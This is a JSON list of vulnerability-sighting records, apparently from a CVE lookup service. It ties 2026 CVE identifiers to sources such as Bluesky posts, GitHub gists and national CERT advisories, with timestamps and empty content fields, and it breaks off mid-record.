{"uuid": "b15fd938-567d-4b75-9aec-5bffd698ea97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24646", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5pad2qtt2r", "content": "", "creation_timestamp": "2026-01-24T07:34:08.606610Z"}, {"uuid": "2da133f7-c7dc-4871-ab79-91b5d4dea636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24656", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/112", "content": "", "creation_timestamp": "2026-01-24T05:37:05.000000Z"}, {"uuid": "f4de283d-a828-4127-b778-5bb7322e09c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24308", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0251/", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "04db19f9-eb46-4322-8039-79e8b5ca9708", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/nothing.hispagatos.space.ap.brid.gy/post/3md62uf77jj52", "content": "", "creation_timestamp": "2026-01-24T11:06:24.243042Z"}, {"uuid": "482b01e9-7eee-44e2-80d2-16dc6d491ea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/itarmy-ua.bsky.social/post/3md6dwf7prk2y", "content": "", "creation_timestamp": "2026-01-24T13:44:23.814060Z"}, {"uuid": "953e7dd2-89d9-47f0-b91b-f414ea1a406b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cosmicmetanft.bsky.social/post/3md6fdg3myu26", "content": "", "creation_timestamp": "2026-01-24T14:09:34.864509Z"}, {"uuid": "418d8d9c-cb21-405d-b38c-74f1887bc126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3md6sf72mtp27", "content": "", "creation_timestamp": "2026-01-24T18:03:13.452265Z"}, {"uuid": "3f9827f2-6ce4-40bf-9e14-6be9a46748fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24400", "type": "seen", "source": "https://bsky.app/profile/assertj.github.io/post/3md72m3ayw22q", "content": "", "creation_timestamp": "2026-01-24T20:30:14.275699Z"}, {"uuid": "659da368-5dc9-4807-ad5f-292b467da340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3md74gpfij32q", "content": "", "creation_timestamp": "2026-01-24T21:03:05.026179Z"}, {"uuid": "5d7d75c6-e949-431c-b590-089d26396213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24132", "type": "seen", "source": "https://gist.github.com/alon710/3d0a1b584a84dc43d2a9a61a3821c3c4", "content": "", "creation_timestamp": "2026-01-24T21:22:37.000000Z"}, {"uuid": "b8e4eb2f-9bb3-4541-9c47-800275a645db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24130", "type": "seen", "source": "https://gist.github.com/alon710/f609208050bd49fa817ac02942945a92", "content": "", "creation_timestamp": "2026-01-24T21:22:35.000000Z"}, {"uuid": "1ea249bd-b6ae-4e3d-8635-a2bd1520581a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24124", "type": "seen", "source": "https://gist.github.com/alon710/abff48b2f8d201cbbe94fbb821268f85", "content": "", "creation_timestamp": "2026-01-24T21:22:32.000000Z"}, {"uuid": "3760d8ee-0107-44d4-a33d-5dd3e3f80d2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24049", "type": "seen", "source": "https://gist.github.com/alon710/086826e3b5292e0abedd51f088e30205", "content": "", "creation_timestamp": "2026-01-24T21:22:31.000000Z"}, {"uuid": "8e057638-c2f6-4924-aca3-128ffc070a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24009", "type": "seen", "source": "https://gist.github.com/alon710/553f80036420883648a8e05762aa083e", "content": "", "creation_timestamp": "2026-01-24T21:22:30.000000Z"}, {"uuid": "89141957-2112-4d34-be04-d5d67af9c77e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24006", "type": "seen", "source": "https://gist.github.com/alon710/c7f450c2bc28d71462bc12de55993010", "content": "", "creation_timestamp": "2026-01-24T21:22:29.000000Z"}, {"uuid": "f5a19bd5-870e-4660-983f-bdb132e6fed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24128", "type": "seen", "source": "https://gist.github.com/alon710/b2ccaa855b4d2013eefc48e9ed7da224", "content": "", "creation_timestamp": "2026-01-24T21:22:25.000000Z"}, {"uuid": "b29063c8-2dd1-4c7f-8c96-711d80e9e203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24422", "type": "seen", "source": "https://gist.github.com/alon710/ca964461aed5244e010c59a03fa6ab1a", "content": "", "creation_timestamp": "2026-01-24T21:22:22.000000Z"}, {"uuid": "7eb6603a-63bd-40ad-9f52-5ab7179a74b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24421", "type": "seen", "source": "https://gist.github.com/alon710/280a53f6f2d65fc97e55b7753d13e7b1", "content": "", "creation_timestamp": "2026-01-24T21:22:20.000000Z"}, {"uuid": "5f9d5e60-fb66-461e-8db9-5bffea64cdf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24420", "type": "seen", "source": "https://gist.github.com/alon710/356930af4ab912832ea94f852127f2ea", "content": "", "creation_timestamp": "2026-01-24T21:22:19.000000Z"}, {"uuid": "87ff76b3-e350-4d2f-8d21-56c2635c8fa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2476", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhjesgztx22m", "content": "", "creation_timestamp": "2026-03-20T20:40:08.917075Z"}, {"uuid": "658742df-4b2e-4ddd-a2ce-9a8bd026a4c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2476", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mhjeshjqdj2u", "content": "", "creation_timestamp": "2026-03-20T20:40:09.646634Z"}, {"uuid": "7feb7c73-c4a9-4058-9ce2-1db2f4dd83f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-071-02", "content": "", "creation_timestamp": "2026-03-12T11:00:00.000000Z"}, {"uuid": "d54b6295-be14-4f3c-b068-a5352dd19907", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24048", "type": "seen", "source": "https://gist.github.com/alon710/dcd3cb019a3aa9fac521a1c167378738", "content": "", "creation_timestamp": "2026-01-24T21:23:00.000000Z"}, {"uuid": "61031e47-f541-4a4d-a063-2d9b6a2ef940", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24047", "type": "seen", "source": "https://gist.github.com/alon710/4b217fe2cf8ffb61c81cdbc3ae7afb81", "content": "", "creation_timestamp": "2026-01-24T21:22:59.000000Z"}, {"uuid": "a1a719a9-7312-483b-9053-2d039128cd73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24046", "type": "seen", "source": "https://gist.github.com/alon710/95646488f16d926a9285cc4a529b9663", "content": "", "creation_timestamp": "2026-01-24T21:22:58.000000Z"}, {"uuid": "e0313fc3-8551-4061-a786-a2fd487bbca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24117", "type": "seen", "source": "https://gist.github.com/alon710/6cf2739a7a074bb376a843fb01c0c990", "content": "", "creation_timestamp": "2026-01-24T21:22:48.000000Z"}, {"uuid": "a5126e56-2168-4cbc-9492-f1029f220f6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24137", "type": "seen", "source": "https://gist.github.com/alon710/bcce36cb7d3ca802621bc6d8b450a705", "content": "", "creation_timestamp": "2026-01-24T21:22:42.000000Z"}, {"uuid": "293eafc3-5d03-4b5c-80f1-350913bedf75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24300", "type": "seen", "source": "https://www.cert.se/2026/02/patchtisdag-februari-2026-samlad-information-om-manadens-sakerhetsuppdateringar.html", "content": "", "creation_timestamp": "2026-02-11T11:50:00.000000Z"}, {"uuid": "07e3f9b3-333b-46d0-bd43-8256bd9f9ff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "0ba55811-2621-416c-8e55-e98f0f6ecfd6", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/1e1a5c92-386f-4bce-a79d-a0850f3526dd", "content": "", "creation_timestamp": "2026-01-26T16:47:00.691681Z"}, {"uuid": "599b91d2-d828-44b2-a8b8-b34c08c81f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2462", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0173/", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "a6207e11-18e5-455b-96ae-07428d8fb1f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24780", "type": "seen", "source": "https://bsky.app/profile/toxfox.bsky.social/post/3mhlbzjdngz2e", "content": "", "creation_timestamp": "2026-03-21T14:55:47.192016Z"}, {"uuid": "a2c333c2-2e1d-401f-b2ac-32e84b916383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2458", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0173/", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "c7c273b2-59ef-4795-8a19-d815d273a4af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2457", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0173/", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "91607400-7c46-4bec-85a6-c333c4f12574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2456", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0173/", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "5925bc11-a3c2-4e36-bf7f-9a343f9c9ce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24157", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mid7sw4avb2r", "content": "", "creation_timestamp": "2026-03-31T03:20:09.303092Z"}, {"uuid": "0f3154a9-efb1-4abd-9081-58535f367748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1765", "content": "", "creation_timestamp": "2026-02-16T04:00:00.000000Z"}, {"uuid": "42a7b6f7-b5db-45f8-8971-77d2290f4924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24068", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhyssdywzp2t", "content": "", "creation_timestamp": "2026-03-27T00:00:34.472145Z"}, {"uuid": "1a0c2483-0482-4ec2-ab3f-b6b3839ce195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://www.cert.hr/preuzmite-zakrpu-za-zero-day-ranjivost-chrome-preglednika/?utm_source=rss&utm_medium=rss&utm_campaign=preuzmite-zakrpu-za-zero-day-ranjivost-chrome-preglednika", "content": "", "creation_timestamp": "2026-02-18T12:40:19.000000Z"}, {"uuid": "9e96b0d7-7509-495e-a5ef-6ba053970819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24132", "type": "seen", "source": "https://gist.github.com/alon710/31fc37eb0889b0964976a742b1de957a", "content": "", "creation_timestamp": "2026-01-24T22:17:24.000000Z"}, {"uuid": "7c407d1d-78a7-4a38-a4aa-aa09cc9363d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24132", "type": "seen", "source": "https://gist.github.com/alon710/ab913cf59e50406b2e8cd1b1a7171e0d", "content": "", "creation_timestamp": "2026-01-24T22:17:21.000000Z"}, {"uuid": "b7d24d71-ee68-46f4-8455-ab815fa9bc23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24130", "type": "seen", "source": "https://gist.github.com/alon710/869af24180d0a2657b3c7c0c87152b32", "content": "", "creation_timestamp": "2026-01-24T22:17:18.000000Z"}, {"uuid": "c5d3f563-9a5a-448d-b9d0-e5dbb235a8f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24130", "type": "seen", "source": "https://gist.github.com/alon710/a1704b9ca809b7c44848d646f56c4c53", "content": "", "creation_timestamp": "2026-01-24T22:17:16.000000Z"}, {"uuid": "194a2cab-b398-4a26-b997-c2554252b156", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24124", "type": "seen", "source": "https://gist.github.com/alon710/27d6c3bd341578e3a05c54267b3313a4", "content": "", "creation_timestamp": "2026-01-24T22:17:01.000000Z"}, {"uuid": "ecce2b7c-58f4-4902-ae24-79ccc54e6de3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24124", "type": "seen", "source": "https://gist.github.com/alon710/6776724fc7cb5ec4fc8bfd427ddaca12", "content": "", "creation_timestamp": "2026-01-24T22:16:58.000000Z"}, {"uuid": "9bc135d4-4354-4f50-a252-3f6822a3e003", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24049", "type": "seen", "source": "https://gist.github.com/alon710/4786281af84c9809783d429fe21b0f58", "content": "", "creation_timestamp": "2026-01-24T22:16:55.000000Z"}, {"uuid": "34dfd622-487b-4d70-aaeb-5ea7296ac0f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24049", "type": "seen", "source": "https://gist.github.com/alon710/2880d368c50f9994ba3aa11a923254b7", "content": "", "creation_timestamp": "2026-01-24T22:16:52.000000Z"}, {"uuid": "6647edfc-d43c-41d7-8c22-438ba327b958", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24009", "type": "seen", "source": "https://gist.github.com/alon710/0d9cdf62717d80901cfb58437a588c84", "content": "", "creation_timestamp": "2026-01-24T22:16:49.000000Z"}, {"uuid": "f539c464-df94-41fe-8982-e9517d02a9e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24009", "type": "seen", "source": "https://gist.github.com/alon710/09943518daa9a525ed9c22ccccf2a59f", "content": "", "creation_timestamp": "2026-01-24T22:16:46.000000Z"}, {"uuid": "3ba526d1-3195-4b2d-b8cf-557592b3783e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24006", "type": "seen", "source": "https://gist.github.com/alon710/7a76b64aa58a02c54677f587ee5f8286", "content": "", "creation_timestamp": "2026-01-24T22:16:43.000000Z"}, {"uuid": "389cce39-0c32-4dda-9f29-8ab01eba2652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24006", "type": "seen", "source": "https://gist.github.com/alon710/eac01783d38aea2ecadbcd3538b78835", "content": "", "creation_timestamp": "2026-01-24T22:16:41.000000Z"}, {"uuid": "a5b8e44a-e736-464d-8425-6633d8a227a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24128", "type": "seen", "source": "https://gist.github.com/alon710/542587e3840be15b2b3e7f7b198edca2", "content": "", "creation_timestamp": "2026-01-24T22:16:26.000000Z"}, {"uuid": "4e6a1b8d-4d67-4838-8580-955e382158ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24128", "type": "seen", "source": "https://gist.github.com/alon710/c84b8b360c1953a2e1190a4145d1a414", "content": "", "creation_timestamp": "2026-01-24T22:16:23.000000Z"}, {"uuid": "b8586d4c-deb6-4a1e-a662-12d8eaa63e69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-2413.yaml", "content": "", "creation_timestamp": "2026-03-11T17:30:18.000000Z"}, {"uuid": "8c9bc0b2-1b32-44d6-9698-32d2c03b68c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24117", "type": "seen", "source": "https://gist.github.com/alon710/58318b0decdc610235d06378257dc810", "content": "", "creation_timestamp": "2026-01-24T22:18:29.000000Z"}, {"uuid": "875962e1-29a1-4fee-a37a-1b2892db489d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24117", "type": "seen", "source": "https://gist.github.com/alon710/afa35ad8ac0df4fc5f6a9e836c44fd37", "content": "", "creation_timestamp": "2026-01-24T22:18:26.000000Z"}, {"uuid": "b0a2bacf-8835-4b1d-a6c5-9c0b76979b98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24137", "type": "seen", "source": "https://gist.github.com/alon710/6fc946ee0533a43d90951a9879a201f4", "content": "", "creation_timestamp": "2026-01-24T22:17:59.000000Z"}, {"uuid": "c90bb0b1-4729-4d80-abe1-509d3043c63a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24137", "type": "seen", "source": "https://gist.github.com/alon710/be2815b69f79341bb284c55ad42b006c", "content": "", "creation_timestamp": "2026-01-24T22:17:57.000000Z"}, {"uuid": "a373f47c-e59f-4717-ab33-1b87f9b313ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24047", "type": "seen", "source": "https://gist.github.com/alon710/a4941f2432a88ce8da6f5f32e199afb8", "content": "", "creation_timestamp": "2026-01-24T22:19:21.000000Z"}, {"uuid": "2737cdbb-3597-4ef7-bad9-ed04d5224b6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24125", "type": "seen", "source": "https://gist.github.com/alon710/84a60be2b0bbf202946e3bdc9c48b627", "content": "", "creation_timestamp": "2026-03-12T18:10:06.000000Z"}, {"uuid": "8b31327a-605e-4a36-a080-60fc3730a140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24048", "type": "seen", "source": "https://gist.github.com/alon710/326dcbce53f4cef418c9b89414961d44", "content": "", "creation_timestamp": "2026-01-24T22:19:29.000000Z"}, {"uuid": "e3f57118-81f3-4efe-9558-c209baed0a89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24048", "type": "seen", "source": "https://gist.github.com/alon710/932f11b496a11161d969e7d0145a5e44", "content": "", "creation_timestamp": "2026-01-24T22:19:27.000000Z"}, {"uuid": "0217c7a5-799e-4106-aca0-bac6dd6e28fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24047", "type": "seen", "source": "https://gist.github.com/alon710/d7b3e22b7bae4f925e70e83a8b0e4438", "content": "", "creation_timestamp": "2026-01-24T22:19:24.000000Z"}, {"uuid": "0a7eb9a6-2e83-46e6-a15e-190e4474918e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24046", "type": "seen", "source": "https://gist.github.com/alon710/696016c894d5712b6cf6f7949f65ebef", "content": "", "creation_timestamp": "2026-01-24T22:19:16.000000Z"}, {"uuid": "02fb83db-c490-4d45-a1de-95db2d25e122", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24046", "type": "seen", "source": "https://gist.github.com/alon710/051896da1df2ef30fd27ece334001d8c", "content": "", "creation_timestamp": "2026-01-24T22:19:14.000000Z"}, {"uuid": "5c53b74b-7c0c-4846-ac02-f85feee31e4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/appinn.bsky.social/post/3mhhyo6gmi52z", "content": "", "creation_timestamp": "2026-03-20T07:30:20.941957Z"}, {"uuid": "1106a1fa-0b49-4ce4-ade8-def9f3cdedd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24017", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mguzaqrsqn23", "content": "", "creation_timestamp": "2026-03-12T18:20:08.996946Z"}, {"uuid": "6cab230c-1f6c-40f2-a674-9766bbac381d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1766", "content": "", "creation_timestamp": "2026-02-20T04:00:00.000000Z"}, {"uuid": "57bd1b68-b889-42f1-a628-94a55a5a922c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24901", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhlfmt62nr24", "content": "", "creation_timestamp": "2026-03-21T16:00:13.552597Z"}, {"uuid": "5b1e89ed-9bce-411c-8907-3a2842058810", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24317", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "0c36feef-3d69-4ded-8fed-8bcd1679db66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24310", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "a82b0341-6c25-42c9-a4e0-d2ba66e67bfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24311", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "ab01e481-9e9a-4b05-ace2-19fc58a6bd00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24316", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "d93b1b90-c880-4bc9-93a7-4d8ad76e520c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24313", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": 